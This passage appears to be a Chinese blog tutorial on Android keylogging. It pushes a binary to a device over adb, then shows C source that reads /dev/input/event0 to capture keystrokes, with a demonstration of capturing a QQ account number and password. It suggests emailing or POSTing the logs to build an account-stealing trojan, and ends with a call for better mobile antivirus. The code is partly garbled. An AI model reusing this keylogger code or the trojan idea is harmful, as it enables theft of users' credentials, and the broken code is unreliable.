http://www.codesourcery.com/gnu_ ... e-linux-gnueabi.exe
#include
int main(int argc, char** argv) {
printf("hello
android!\nI'm %s!\nI like android very much!!!\n", "GuiGu");
return 0;
}
arm-none-linux-gnueabi-gcc -static hello.c -o hello
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello
上述命令的含义是:先创建 /dev/h4ck目录,再将编译好的hello上传上去,最后将hello改成可执行的。
上传好了之后,再进入命令行模式,进入Android的shell环境:
adb shell
#cd /dev/h4ck
#./hello
进入 /dev/h4ck目录,执行hello,运行结果如下图:
而且不管是点击鼠标还是按键,都有反应,但显示的是一堆乱码,而且点击鼠标出来的东西要多一点,这就说明,android会将用户的操作保存在这个文件中。我们只要写一段代码来分析这些乱码就可以获得我们想要的信息了,下面来编程实现吧。
为了分析 event0 的返回值,写了一段代码key.c,核心代码如下:
static int event0_fd = -1;
struct input_event
ev0[64];
static int handle_event0() {
int button = 0, i, rd;
rd = read(event0_fd,
ev0, sizeof(struct input_event) * 64);
if ( rd <
sizeof(struct input_event) ) return 0;
for (i = 0;
i < rd / sizeof(struct input_event); i++) {
if (ev0.type == 1&&ev0.value == 1) {
printf("您按下键盘的编码是: =\n",
ev0.code);
if (ev0.code == 158) {
return 0;
}
}
}
return 1;
}
int main(void) {
int done = 1;
event0_fd =
open("/dev/input/event0", O_RDWR);
if ( event0_fd
< 0 )
return -1;
printf("开始键盘监听...\n");
while ( done ) {
done = handle_event0();
}
分析上面记录的键盘编码,发现当按下的键盘按键和编码是一一对应的,如上图所示,我们输入的QQ号码是1234567,记录的按键编码是2345678,然后我按了一下密码框,记录键盘编码是330,密码输入的是guiguxiansheng,如图也截取到了相应的键盘编码,其他的按键没有仔细去看它们的键盘编码返回值,反正已经正确得到键盘记录了,如果要做一个真正的盗号木马。可以将记录下来的键盘发送到指定邮箱或post到指定网页。作为演示我们就到这里。
手机淘宝、手机网银越来越普及了,希望杀毒软件常常能关注一下手机安全领域,尽早做好防范措施。